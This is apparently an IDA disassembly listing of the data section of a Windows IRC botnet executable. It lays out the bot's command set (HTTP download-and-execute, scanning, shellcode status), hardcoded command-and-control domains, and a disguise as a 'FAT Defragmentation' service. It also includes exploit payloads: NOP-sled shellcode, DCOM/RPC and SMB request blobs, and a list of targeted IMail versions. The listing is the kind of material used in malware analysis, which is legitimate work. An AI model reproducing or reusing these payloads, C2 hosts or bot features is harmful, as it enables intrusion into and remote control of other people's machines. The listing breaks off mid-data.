; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 4C95AE4B3D38375BDFF8B76F2EC75374 ; File Name : u:\work\4c95ae4b3d38375bdff8b76f2ec75374_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write code segment para public 'DATA' use32 assume cs:code ;org 401000h dword_401000 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4089F7+123r ... dword_401004 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4089F7+13Fr dword_401008 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_4089F7+155r ... dword_40100C dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4089F7+15Er ... dword_401010 dd 77E37311h ; resolved to->ADVAPI32.DeleteServicedword_401014 dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_40899E+13r ... dword_401018 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_40899E+28r ... dword_40101C dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_40899E+47r ... dword_401020 dd 77E36F61h ; resolved to->ADVAPI32.ChangeServiceConfig2Adword_401024 dd 77E37071h ; resolved to->ADVAPI32.CreateServiceAdword_401028 dd 77DEB193h ; resolved to->ADVAPI32.SetServiceStatus ; sub_408C39+5Dr dword_40102C dd 77DF0953h ; resolved to->ADVAPI32.RegisterServiceCtrlHandlerAdword_401030 dd 77E37D39h ; resolved to->ADVAPI32.StartServiceCtrlDispatcherA align 8 dword_401038 dd 7C80C108h ; resolved to->KERNEL32.SetThreadPrioritydword_40103C dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_401040 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_401044 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounterdword_401048 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_40104C dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorModedword_401050 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_401054 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_401058 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_408EAE+55r dword_40105C dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_401060 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathAdword_401064 dd 7C810D87h ; resolved to->KERNEL32.WriteFiledword_401068 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesAdword_40106C dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_408EAE+79r ... dword_401070 dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_401074 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_401078 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_40107C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_404C8D+6Dr ... dword_401080 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_404C8D+53r ... dword_401084 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_408D7F+129r ... dword_401088 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; code:00405457r ... dword_40108C dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_401090 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_40971A+5Fr dword_401094 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_401098 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_40109C dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSectiondword_4010A0 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; code:00407C41r ... dword_4010A4 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_408D7F+B7r ... dword_4010A8 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_408EAE+A5r dword_4010AC dd 7C86136Dh ; resolved to->KERNEL32.WinExec ; sub_40870A+1DFr ... dword_4010B0 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_4010B4 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4010B8 dd 7C810637h ; resolved to->KERNEL32.CreateThread align 10h dword_4010C0 dd 77C46040h ; resolved to->MSVCRT.strcatdword_4010C4 dd 77C371BCh ; resolved to->MSVCRT.sranddword_4010C8 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_4010CC dd 77C464BFh ; resolved to->MSVCRT._strnicmpdword_4010D0 dd 77C47660h ; resolved to->MSVCRT.strchrdword_4010D4 dd 77C41B72h ; resolved to->MSVCRT.sscanfdword_4010D8 dd 77C47730h ; resolved to->MSVCRT.strcmpdword_4010DC dd 77C1D730h ; resolved to->MSVCRT.strtouldword_4010E0 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_4010E4 dd 77C50290h ; resolved to->MSVCRT.ceildword_4010E8 dd 77C411FBh ; resolved to->MSVCRT.freaddword_4010EC dd 77C40AB1h ; resolved to->MSVCRT.fclosedword_4010F0 dd 77C29CDDh dword_4010F4 dd 77C371D3h ; resolved to->MSVCRT.randdword_4010F8 dd 77C3F931h ; resolved to->MSVCRT.sprintfdword_4010FC dd 77C46F70h ; resolved to->MSVCRT.memcpydword_401100 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_401104 dd 77C47920h ; resolved to->MSVCRT.strncatdword_401108 dd 77C46030h ; resolved to->MSVCRT.strcpydword_40110C dd 77C3F010h ; resolved to->MSVCRT.fopendword_401110 dd 77C3FE49h ; resolved to->MSVCRT.vsprintfdword_401114 dd 77C478A0h ; resolved to->MSVCRT.strlendword_401118 dd 77C2C407h ; resolved to->MSVCRT.mallocdword_40111C dd 77C2C437h ; resolved to->MSVCRT.reallocdword_401120 dd 77C4FA10h ; resolved to->MSVCRT._ftoldword_401124 dd 77C35C94h ; resolved to->MSVCRT._except_handler3dword_401128 dd 77C47CE5h ; resolved to->MSVCRT.strtokdword_40112C dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_401130 dd 77C1BF18h ; resolved to->MSVCRT.atoidword_401134 dd 77C47A90h ; resolved to->MSVCRT.strncpydword_401138 dd 77C47C60h ; resolved to->MSVCRT.strstrdword_40113C dd 77C3FA76h ; resolved to->MSVCRT._snprintfdword_401140 dd 77C2C21Bh ; resolved to->MSVCRT.free align 8 dword_401148 dd 74344AE7h dword_40114C dd 7432FF6Bh dword_401150 dd 743527D4h dword_401154 dd 743452A3h dword_401158 dd 74343318h dword_40115C dd 743273EDh dd 0 dword_401164 dd 7E418BF6h ; resolved to->USER32.TranslateMessagedword_401168 dd 7E4196B8h ; resolved to->USER32.DispatchMessageAdword_40116C dd 7E42E002h ; resolved to->USER32.GetMessageA dd 0 dword_401174 dd 42C2AE35h ; resolved to->WININET.InternetQueryDataAvailabledword_401178 dd 42C2CD78h ; resolved to->WININET.HttpSendRequestAdword_40117C dd 42C24399h ; resolved to->WININET.HttpOpenRequestAdword_401180 dd 42C249F2h ; resolved to->WININET.InternetConnectAdword_401184 dd 42C2C8A1h ; resolved to->WININET.InternetOpenAdword_401188 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedStatedword_40118C dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandledword_401190 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile align 8 dword_401198 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_404360+541r ... dword_40119C dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_408D7F+122r ... dd 71AB94DCh dword_4011A4 dd 71AB615Ah ; resolved to->WS2_32.recv ; code:0040548Ar ... dword_4011A8 dd 71AB428Ah ; resolved to->WS2_32.send ; code:loc_40545Dr ... dword_4011AC dd 71AB406Ah ; resolved to->WS2_32.connect ; code:0040544Br ... dword_4011B0 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; code:00405432r ... dword_4011B4 dd 71AB3B91h ; resolved to->WS2_32.socket ; code:00406F30r ... dword_4011B8 dd 71AB9639h ; resolved to->WS2_32.closesocket ; code:00405D4Br ... dword_4011BC dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; code:00405707r ... dword_4011C0 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4011C4 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_4073B4+8Dr ... dword_4011C8 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_407367+6r dword_4011CC dd 71AB2BC0h ; resolved to->WS2_32.ntohldword_4011D0 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; code:00407D15r ... dword_4011D4 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_4011D8 dd 71AC1028h ; resolved to->WS2_32.accept ; text:0040811Ar dword_4011DC dd 71AB2C69h ; resolved to->WS2_32.sendto ; code:00407E52r dword_4011E0 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_4011E4 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_4091CA+5Br dword_4011E8 dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_4011EC dd 71AB88D3h ; resolved to->WS2_32.listendword_4011F0 dd 71AB3E00h ; resolved to->WS2_32.binddword_4011F4 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_4011F8 dd 71AC0BDEh ; resolved to->WS2_32.shutdowndword_4011FC dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_401200 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_40924C+2Er dword_401204 dd 71AB50C8h ; resolved to->WS2_32.gethostname align 10h dword_401210 dd 25207325h, 2D3A2073h, 2343003h, 6C656873h, 646F636Ch ; DATA XREF: sub_404360+7FAo dd 2D020365h, 72756320h, 746E6572h, 6C20796Ch, 65747369h dd 676E696Eh, 3A6E6F20h, 33300320h, 3A732502h, 2036425h dd 74697720h, 30032068h, 64250234h, 73200203h, 73646E65h dd 0A0Dh a_shellcode_sta db '.shellcode.status',0 ; DATA XREF: sub_404360:loc_404B02o align 4 aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_404360+793o dword_401284 dd 33300320h, 746F7402h, 2036C61h, 3003203Ah, 64250234h ; DATA XREF: sub_404360+75Eo dd 203h dword_40129C dd 33300320h, 3642502h, 25202E02h, 73hdword_4012AC dd 3430032Dh, 70786502h, 74696F6Ch, 2036465h, 2Dh ; DATA XREF: sub_404360+6EBo a_scan_infected db '.scan.infected',0 ; DATA XREF: sub_404360:loc_404A2Eo align 10h dword_4012D0 dd 25207325h, 2D3A2073h, 2343003h, 6E616373h, 372656Eh ; DATA XREF: sub_404360+6B5o dd 69202D02h, 6365666Eh, 676E6974h, 646E6520h, 6F206465h dd 3003206Eh, 73250233h, 0A0D0203h, 0 a_scan_stop db '.scan.stop',0 ; DATA XREF: sub_404360:loc_4049BEo align 4 dword_401314 dd 25207325h, 2D3A2073h, 2343003h, 6E616373h, 676E6520h ; DATA XREF: sub_404360+654o dd 3656E69h, 63202D02h, 65727275h, 796C746Eh, 61637320h dd 6E696E6Eh, 30032067h, 73250233h, 0A0D0203h, 0 a_scan_current db '.scan.current',0 ; DATA XREF: sub_404360:loc_40497Eo align 10h asc_401360 db '-l',0 ; DATA XREF: sub_404360+5EDo align 4 aR_0 db '-r',0 ; DATA XREF: sub_404360+55Co align 4 asc_401368 db '-x',0 ; DATA XREF: sub_404360:loc_40487Eo ; sub_404360:loc_4048DCo align 4 aSD_D db '%s%d.%d',0 ; DATA XREF: sub_404360+4F9o a_: ; DATA XREF: sub_404360+4CAo unicode 0, <.>,0 aS_0 db '-s',0 ; DATA XREF: sub_404360:loc_4047D7o align 4 unk_40137C db 25h ; % ; DATA XREF: sub_404360+410o db 73h, 20h, 25h db 73h ; s db 20h, 3Ah, 2Dh db 3 db 30h, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 6Eh ; n db 65h, 72h, 3 db 2 aFailedModuleCh db '- failed module chosen doesn',27h,'t excist',0Dh,0Ah,0 align 4 aE db '-e',0 ; DATA XREF: sub_404360+3CAo align 10h aScanner db 'Scanner',0 ; DATA XREF: sub_404360+3B6o ; sub_404360+62Fo ... a_scan_start db '.scan.start',0 ; DATA XREF: sub_404360:loc_4046BDo unk_4013D4 db 25h ; % ; DATA XREF: sub_404360+353o db 73h, 20h, 25h db 73h ; s db 20h, 3Ah, 2Dh db 3 db 30h, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 3 db 2, 2Dh, 20h aFailedToDownlo db 'failed to download [%s]',0Dh,0Ah,0 align 4 dword_401408 dd 25207325h, 2D3A2073h, 2343003h, 6E776F64h, 64616F6Ch ; DATA XREF: sub_404360+341o dd 202D0203h, 6E776F64h, 64616F6Ch, 61206465h, 6520646Eh dd 75636578h, 20646574h, 5D73255Bh, 206F7420h, 5D73255Bh dd 30032820h, 6C250233h, 20020375h, 6920626Bh, 3003206Eh dd 64250233h, 73200203h, 5B206365h, 2333003h, 2036425h dd 2F626B20h, 5D636573h, 0A0D29h dword_401478 dd 25207325h, 2D3A2073h, 2343003h, 6E776F64h, 64616F6Ch ; DATA XREF: sub_404360+30Eo dd 202D0203h, 6E776F64h db 6Ch byte_401495 db 6Fh, 61h, 64h ; DATA XREF: code:off_402864o dd 5B206465h, 205D7325h, 5B206F74h, 205D7325h, 33300328h dd 756C2502h, 6B200203h, 6E692062h, 33300320h, 3642502h dd 65732002h, 35B2063h, 25023330h, 20020364h, 732F626Bh dd 295D6365h, 0A0Dh aUpd db '-upd',0 ; DATA XREF: sub_404360:loc_40457Ao align 4 aExec db '-exec',0 ; DATA XREF: sub_404360+1FBo align 4 a_download_http db '.download.http',0 ; DATA XREF: sub_404360:loc_404526o align 4 a_irc_jump db '.irc.jump',0 ; DATA XREF: sub_404360:loc_4044FEo align 4 aPartS db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_404360+197o align 4 a_irc_part db '.irc.part',0 ; DATA XREF: sub_404360:loc_4044E1o align 10h aJoinS db 'JOIN %s',0Dh,0Ah,0 ; DATA XREF: sub_404360+174o align 4 a_irc_join db '.irc.join',0 ; DATA XREF: sub_404360:loc_4044B8o align 4 dword_401538 dd 25207325h, 2D3A2073h, 2343003h, 64707466h, 202D0203h ; DATA XREF: sub_404360+14Eo dd 72727563h, 6C746E65h, 696C2079h, 6E657473h, 20676E69h dd 203A6E6Fh, 2333003h, 253A7325h, 20020364h, 68746977h dd 34300320h, 3642502h, 65732002h, 0D73646Eh, 0Ah a_ftpd_status db '.ftpd.status',0 ; DATA XREF: sub_404360:loc_40447Do align 4 a_bot_sysinfo db '.bot.sysinfo',0 ; DATA XREF: sub_404360:loc_404462o align 4 dword_4015A8 dd 25207325h, 2D3A2073h, 2343003h, 3746F62h, 6C202D02h ; DATA XREF: sub_404360+F8o dd 6C61636Fh, 3A504920h, 33300320h, 3732502h, 0A0D02h a_bot_ip db '.bot.ip',0 ; DATA XREF: sub_404360:loc_404435o a_bot_os db '.bot.os',0 ; DATA XREF: sub_404360:loc_40441Ao a_bot_uptime db '.bot.uptime',0 ; DATA XREF: sub_404360:loc_4043FFo aQuitGodHatesUs db 'QUIT :god hates us all',0Dh,0Ah,0 ; DATA XREF: sub_404360+86o align 4 a_bot_die db '.bot.die',0 ; DATA XREF: sub_404360:loc_4043D5o align 4 asc_401614: ; DATA XREF: sub_404360+2Eo ; code:00404F34o unicode 0, < >,0 aXlegion0x029 db 'xLegion/0x029',0 ; DATA XREF: sub_404D6D+C6o ; code:00405353o ... align 4 aDfrgfat32_exe db 'dfrgfat32.exe',0 ; DATA XREF: code:004071CFo ; code:00407D3Fo ... align 4 aDfrgfat32_dll db 'dfrgfat32.dll',0 align 4 aFatDefragmenta db 'FAT Defragmentation',0 ; DATA XREF: sub_4089F7+36o ; sub_4089F7+E8o ... aDefragmentatio db 'Defragmentation Management Handler',0 ; DATA XREF: sub_4089F7+31o align 10h aMonitoringTheD db 'Monitoring the defragmentating process.',0 ; DATA XREF: sub_4089F7+65o aDfrgfat32 db 'dfrgfat32',0 align 4 aXxdfrgfat32xx db 'xxDfrgfat32xx',0 ; DATA XREF: sub_409022+4Eo align 8 off_4016C8 dd offset a0x80_onlineSof ; DATA XREF: sub_404D6D+10r ; sub_404D6D+3Dr ; "0x80.online-software.org" word_4016CC dw 199Ch ; DATA XREF: sub_404D6D+53r align 10h off_4016D0 dd offset byte_409CF0 ; DATA XREF: sub_404D6D+9Cr ; sub_404D6D+A2r off_4016D4 dd offset a29 ; DATA XREF: code:00404FB9r ; code:00404FDEr ... ; "#29#" off_4016D8 dd offset aG3t0u7 ; DATA XREF: code:00404FD8r ; code:00405315r ; "g3t0u7" dd offset aRaw ; "#raw" off_4016E0 dd offset aXxplxx ; DATA XREF: code:00407538r ; code:00407712r ... ; "#xxplxx#" dd offset a0x80_onlineSof ; "0x80.online-software.org" dd 3FFh, 409CF0h, 4018ACh, 4018A4h, 40189Ch, 401890h, 401878h dd 199Ch, 409CF0h, 4018ACh, 4018A4h, 40189Ch, 401890h dd 401878h, 3FFh, 409CF0h, 4018ACh, 4018A4h, 40189Ch, 401890h dd 401864h, 199Ch, 409CF0h, 4018ACh, 4018A4h, 40189Ch dd 401890h, 401864h, 3FFh, 409CF0h, 4018ACh, 4018A4h, 40189Ch dd 401890h, 401850h, 199Ch, 409CF0h, 4018ACh, 4018A4h dd 40189Ch, 401890h, 401850h, 3FFh, 409CF0h, 4018ACh, 4018A4h dd 40189Ch, 401890h, 401838h, 199Ch, 409CF0h, 4018ACh dd 4018A4h, 40189Ch, 401890h, 401838h, 3FFh, 409CF0h, 4018ACh dd 4018A4h, 40189Ch, 401890h, 401828h, 199Ch, 409CF0h dd 4018ACh, 4018A4h, 40189Ch, 401890h, 401828h, 3FFh, 409CF0h dd 4018ACh, 4018A4h, 40189Ch, 401890h aMindleak_com db 'mindleak.com',0 ; DATA XREF: code:004051F3o align 4 a0x80_my1x1_com db '0x80.my1x1.com',0 align 4 a0x80_goingform db '0x80.goingformars.com',0 align 10h a0x80_mySecure_ db '0x80.my-secure.name',0 a0xff_memzero_i db '0xff.memzero.info',0 align 4 a0x80_martianso db '0x80.martiansong.com',0 align 10h aXxplxx db '#xxplxx#',0 ; DATA XREF: code:off_4016E0o align 4 aRaw db '#raw',0 ; DATA XREF: code:004016DCo align 4 aG3t0u7 db 'g3t0u7',0 ; DATA XREF: code:off_4016D8o align 4 a29 db '#29#',0 ; DATA XREF: code:off_4016D4o align 4 a0x80_onlineSof db '0x80.online-software.org',0 ; DATA XREF: code:off_4016C8o ; code:004016E4o align 10h aUserSSSSNickS db 'USER %s %s %s :%s',0Dh,0Ah ; DATA XREF: sub_404D6D+CEo ; code:0040535Bo db 'NICK %s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_404D6D+B4o align 4 aIrcread db 'IrcRead',0 ; DATA XREF: sub_404D6D+82o asc_401904: ; DATA XREF: code:0040529Do unicode 0, <*>,0 asc_401908: ; DATA XREF: code:00405219o unicode 0, <:>,0 a@_0: ; DATA XREF: code:004051A6o unicode 0, <@>,0 asc_401910: ; DATA XREF: code:00405170o unicode 0, <!>,0 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: code:00405117o asc_40191C db ' :',0 ; DATA XREF: code:004050DEo align 10h a332 db '332',0 ; DATA XREF: code:004050CDo aError db 'ERROR',0 ; DATA XREF: code:004050B3o align 4 a465 db '465',0 ; DATA XREF: code:0040509Eo a436 db '436',0 ; DATA XREF: code:00405074o ; code:00405089o a009 db '009',0 ; DATA XREF: code:0040505Fo a422 db '422',0 ; DATA XREF: code:0040504Ao a001 db '001',0 ; DATA XREF: code:00405035o a451 db '451',0 ; DATA XREF: code:00405020o a433 db '433',0 ; DATA XREF: code:0040500Bo a432 db '432',0 ; DATA XREF: code:loc_404FF6o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: code:00404FE4o ; code:00405321o align 4 aKick db 'KICK',0 ; DATA XREF: code:loc_404F9Ao align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: code:00404F8Bo align 10h aPing db 'PING',0 ; DATA XREF: code:loc_404F6Fo align 4 dword_401978 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: ; DATA XREF: code:004054ECo unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 dd 2 dup(7FFDE0CCh), 0 dword_4019F8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: code:004054C4o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_401D5C dd 20h, 0 dd 20h, 5C005Ch, 0 aC1234561111111: ; DATA XREF: code:0040552Bo unicode 0, <\C$\123456111111111111111.doc>,0 align 10h dword_401DB0 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dword_401DE4 dd 2180310h dword_401DE8 dd 10016C6h dword_401DEC dd 100139Dh, 1001C55h, 1001C98ha__ db 0Dh,0Ah ; DATA XREF: code:004053CEo ; code:00405693o ... db '\_/.',0 align 10h dword_401E00 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_401E4C dd 3000005h, 10h, 5 dup(0)dword_401E68 dd 10005h, 2 dup(0) dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_401EB0 dd 0 dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 dword_401EE4 dd 0FC24448Bh, 0FFFAE005h, 0E0FFFFhdword_401EF0 dd 530458Bh, 0FFFFFB24h, 0E0FFhdword_401EFC dd 19EB10EBh, 0 dword_401F04 dd 0FFFF04EBh, 0FFFFhdword_401F0C dd 4EB04EBh, 0 dword_401F14 dd 0FFFF04EBh, 0FFFFhaA: ; DATA XREF: code:00405931o unicode 0, <\A>,0 align 8 dword_401F28 dd 77F33723h dword_401F2C dd 7FFDE0EBh dword_401F30 dd 18759Fh dword_401F34 dd 1001C59h dword_401F38 dd 1B0B0Bh dword_401F3C dd 6EBh dword_401F40 dd 0F4EBh, 0 dword_401F48 dd 0 dword_401F4C dd 10010579h ; code:00405D10r dd 0 dd 100108FEh, 0 dd 100108CBh, 0 dd 10010372h, 0 dd 1001038Fh, 0 dd 100103DFh, 0 dd 100139D6h, 0 dd 100102E2h, 0 dd 10010302h, 0 dd 100249D4h, 1, 10021835h, 1, 10021855h, 1, 100218E6h dd 1, 10021782h, 1, 10021A51h, 1, 10021A62h dword_401FC8 dd 20313061h, 49474F4Ch, 2622204Ehdword_401FD4 dd 0A9h dup(90909090h), 4EB9090hdword_40227C dd 90909090h, 4EB9090hdword_402284 dd 4 dup(90909090h), 335B0FEBh, 0E98366C9h, 553380EEh ; DATA XREF: code:00405D04o dd 0EBFAE243h, 0FFECE805h, 0BB8CFFFFh, 0A171218Ch, 5D94D50Ch dd 0D556B8D5h, 0B4AA8BBCh, 1Eh dup(90909090h), 20229090h dd 654C7822h, 6E6F6967h, 0A0D22h a@ db 0Dh,0Ah ; DATA XREF: code:00405CB2o db '@$&',27h,'():*',0 align 10h aImail8_15 db 'IMail 8.15',0 ; DATA XREF: code:00405C92o align 4 aImail8_14 db 'IMail 8.14',0 ; DATA XREF: code:00405C77o align 4 aImail8_13 db 'IMail 8.13',0 ; DATA XREF: code:00405C60o align 4 aImail8_12 db 'IMail 8.12',0 ; DATA XREF: code:00405C45o align 10h aImail8_11 db 'IMail 8.11',0 ; DATA XREF: code:00405C2Ao align 4 aImail8_10 db 'IMail 8.10',0 ; DATA XREF: code:00405C0Co align 4 aImail8_05 db 'IMail 8.05',0 ; DATA XREF: code:00405BEEo align 4 aImail8_04 db 'IMail 8.04',0 ; DATA XREF: code:00405BD0o align 10h aImail8_03 db 'IMail 8.03',0 ; DATA XREF: code:00405BB2o align 4 aImail8_02 db 'IMail 8.02',0 ; DATA XREF: code:00405B9Bo align 4 aImail8_01 db 'IMail 8.01',0 ; DATA XREF: code:00405B84o align 4 aImail8_00 db 'IMail 8.00',0 ; DATA XREF: code:00405B6Do align 10h aImail7_15 db 'IMail 7.15',0 ; DATA XREF: code:00405B4Fo align 4 aImail7_14 db 'IMail 7.14',0 ; DATA XREF: code:00405B38o align 4 aImail7_13 db 'IMail 7.13',0 ; DATA XREF: code:00405B21o align 4 aImail7_12 db 'IMail 7.12',0 ; DATA XREF: code:00405B03o align 10h aImail7_11 db 'IMail 7.11',0 ; DATA XREF: code:00405AE5o align 4 aImail7_10 db 'IMail 7.10',0 ; DATA XREF: code:00405AC7o align 4 aImail7_07 db 'IMail 7.07',0 ; DATA XREF: code:00405AA9o align 4 aImail7_06 db 'IMail 7.06',0 ; DATA XREF: code:00405A92o align 10h aImail7_05 db 'IMail 7.05',0 ; DATA XREF: code:00405A74o align 4 aImail7_04 db 'IMail 7.04',0 ; DATA XREF: code:00405A59o align 4 dword_402458 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: code:00406215o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 aLanman1_0 db 'LANMAN1.0',0 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 aLm1_2x002 db 'LM1.2X002',0 dw 4C02h aAnman2_1 db 'ANMAN2.1',0 db 2, 4Eh, 54h aLm0_12 db ' LM 0.12',0 align 4 dword_4024E4 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: code:00406251o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_402590 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: code:0040628Do dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 